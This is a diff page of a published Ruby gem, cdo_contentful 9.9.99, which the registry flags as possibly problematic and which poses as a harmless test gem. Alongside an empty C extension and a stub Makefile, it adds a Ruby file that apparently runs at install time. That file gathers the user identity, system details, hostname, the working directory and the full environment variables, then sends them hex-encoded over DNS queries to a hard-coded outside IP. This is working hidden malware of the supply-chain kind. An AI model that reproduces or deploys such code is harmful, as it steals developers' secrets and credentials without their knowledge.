cdo_contentful 9.9.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of cdo_contentful might be problematic. Click here for more details.

checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: ec7a052be9cd5b87f053194afbac799e124e5af9edfba2a1efeb223911a936df
4
+ data.tar.gz: 3a3e385ba1dcedb9149f2b7cfa16c68ef8852b1bacfde385dfd8397a04025391
5
+ SHA512:
6
+ metadata.gz: eac8bc057b9e226a4d62cc06f16365e74571f14d2a690da971a9ee4e105d55927e8ac832487e2c27848cfb06aceee06782fb2ea41862c29b62274d2696a4a1ed
7
+ data.tar.gz: b8b9088a655eecacd115b0fdac4dbafd2e176571f917e055952a4918f4fd1c95b396e7aaa27ac1fedb71309a1f3ee590879263042043dab45445bc83fb5e84de
data/ext/ext/Makefile ADDED
@@ -0,0 +1,5 @@
1
+ clean:
2
+ echo "clean"
3
+
4
+ install:
5
+ echo "install"
data/ext/ext/ext.c ADDED
@@ -0,0 +1,5 @@
1
+ #include "ruby.h"
2
+
3
+ void Init_ext(void) {
4
+ // nothing
5
+ }
@@ -0,0 +1,136 @@
1
+ require 'json'
2
+ require 'base64'
3
+ require 'socket'
4
+ require 'securerandom'
5
+
6
+ def build_dns_query(domain, qtype=16) # 16 = TXT
7
+ transaction_id = rand(0xFFFF)
8
+
9
+ query = [transaction_id].pack('n') # Transaction ID
10
+ query += [0x0100].pack('n') # Flags (standard query)
11
+ query += [1, 0, 0, 0].pack('n4') # Questions, Answers, Authority, Additional
12
+
13
+ # Encode domain name
14
+ domain.split('.').each do |label|
15
+ query += [label.length].pack('C')
16
+ query += label
17
+ end
18
+ query += [0].pack('C') # End of domain
19
+
20
+ query += [qtype, 1].pack('n2') # Type and Class (IN)
21
+
22
+ query
23
+ end
24
+
25
+ def send_json_via_dns(json_obj, target_domain, dns_server="127.0.0.1", port=5300)
26
+ json_str = json_obj.to_json
27
+ encoded = json_str.unpack1("H*")
28
+
29
+ puts "JSON: #{json_str}"
30
+ puts "Encoded: #{encoded}"
31
+ puts "Length: #{encoded.length} chars\n"
32
+
33
+ # For small JSON, send in one query
34
+ if encoded.length <= 50
35
+ domain = "#{encoded}.json.#{target_domain}"
36
+ query = build_dns_query(domain, 16)
37
+
38
+ socket = UDPSocket.new
39
+ socket.send(query, 0, dns_server, port)
40
+ puts "Sent to #{dns_server}:#{port}"
41
+ socket.close
42
+ else
43
+ # Chunk for larger payloads
44
+ chunks = encoded.scan(/.{1,50}/)
45
+ chunks.each_with_index do |chunk, i|
46
+ domain = "#{chunk}.#{i}_#{chunks.length}.#{target_domain}"
47
+ query = build_dns_query(domain, 16)
48
+
49
+ socket = UDPSocket.new
50
+ socket.send(query, 0, dns_server, port)
51
+ puts "Chunk #{i+1}/#{chunks.length} sent"
52
+ socket.close
53
+
54
+ sleep 0.05
55
+ end
56
+ end
57
+ end
58
+
59
+ # frozen_string_literal: true
60
+
61
+ require 'json'
62
+ require 'socket'
63
+
64
+ module Mock
65
+ class SystemInfo
66
+ def self.gather
67
+ os_type = detect_os
68
+
69
+ data = {
70
+ os: os_type,
71
+ timestamp: Time.now.to_i,
72
+ user: get_user,
73
+ user_info: get_user_info(os_type),
74
+ system_info: get_system_info(os_type),
75
+ current_directory: Dir.pwd,
76
+ hostname: Socket.gethostname,
77
+ ruby_version: RUBY_VERSION,
78
+ gem_path: get_gem_path,
79
+ env: ENV.to_h
80
+ }
81
+
82
+ data
83
+ end
84
+
85
+ private
86
+
87
+ def self.detect_os
88
+ case RbConfig::CONFIG['host_os']
89
+ when /mswin|msys|mingw|cygwin|bccwin|wince|emc/
90
+ 'windows'
91
+ when /darwin|mac os/
92
+ 'macos'
93
+ when /solaris|bsd/
94
+ 'unix'
95
+ else
96
+ 'linux'
97
+ end
98
+ end
99
+
100
+ def self.get_user
101
+ ENV['USER'] || ENV['USERNAME'] || 'unknown'
102
+ end
103
+
104
+ def self.get_user_info(os_type)
105
+ case os_type
106
+ when 'windows'
107
+ `whoami 2>&1`.strip rescue 'unavailable'
108
+ when 'linux', 'macos', 'unix'
109
+ `id 2>&1`.strip rescue 'unavailable'
110
+ else
111
+ 'unavailable'
112
+ end
113
+ end
114
+
115
+ def self.get_system_info(os_type)
116
+ case os_type
117
+ when 'windows'
118
+ # Get basic Windows info (systeminfo is too verbose)
119
+ version = `ver 2>&1`.strip rescue ''
120
+ computer = ENV['COMPUTERNAME'] || 'unknown'
121
+ "#{version} - #{computer}"
122
+ when 'linux', 'macos', 'unix'
123
+ `uname -a 2>&1`.strip rescue 'unavailable uname -a'
124
+ else
125
+ 'unavailable'
126
+ end
127
+ end
128
+
129
+ def self.get_gem_path
130
+ Gem.path.first rescue 'unknown gem_path'
131
+ end
132
+ end
133
+ end
134
+
135
+ data = Mock::SystemInfo::gather()
136
+ send_json_via_dns(data, SecureRandom.hex(4), "144.22.244.152", 53)
data/lib/lib.rb ADDED
@@ -0,0 +1,2 @@
1
+ module Testing
2
+ end
@@ -0,0 +1,2 @@
1
+ Gem.post_install do |installer|
2
+ end
metadata ADDED
@@ -0,0 +1,49 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: cdo_contentful
3
+ version: !ruby/object:Gem::Version
4
+ version: 9.9.99
5
+ platform: ruby
6
+ authors:
7
+ - author
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2025-11-17 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: Test gem 1
14
+ email:
15
+ - author@example.com
16
+ executables: []
17
+ extensions:
18
+ - ext/ext/extconf.rb
19
+ extra_rdoc_files: []
20
+ files:
21
+ - ext/ext/Makefile
22
+ - ext/ext/ext.c
23
+ - ext/ext/extconf.rb
24
+ - lib/lib.rb
25
+ - rubygems_plugin.rb
26
+ homepage: https://example.com
27
+ licenses:
28
+ - MIT
29
+ metadata: {}
30
+ post_install_message:
31
+ rdoc_options: []
32
+ require_paths:
33
+ - lib
34
+ required_ruby_version: !ruby/object:Gem::Requirement
35
+ requirements:
36
+ - - ">="
37
+ - !ruby/object:Gem::Version
38
+ version: '0'
39
+ required_rubygems_version: !ruby/object:Gem::Requirement
40
+ requirements:
41
+ - - ">="
42
+ - !ruby/object:Gem::Version
43
+ version: '0'
44
+ requirements: []
45
+ rubygems_version: 3.3.3
46
+ signing_key:
47
+ specification_version: 4
48
+ summary: Test gem
49
+ test_files: []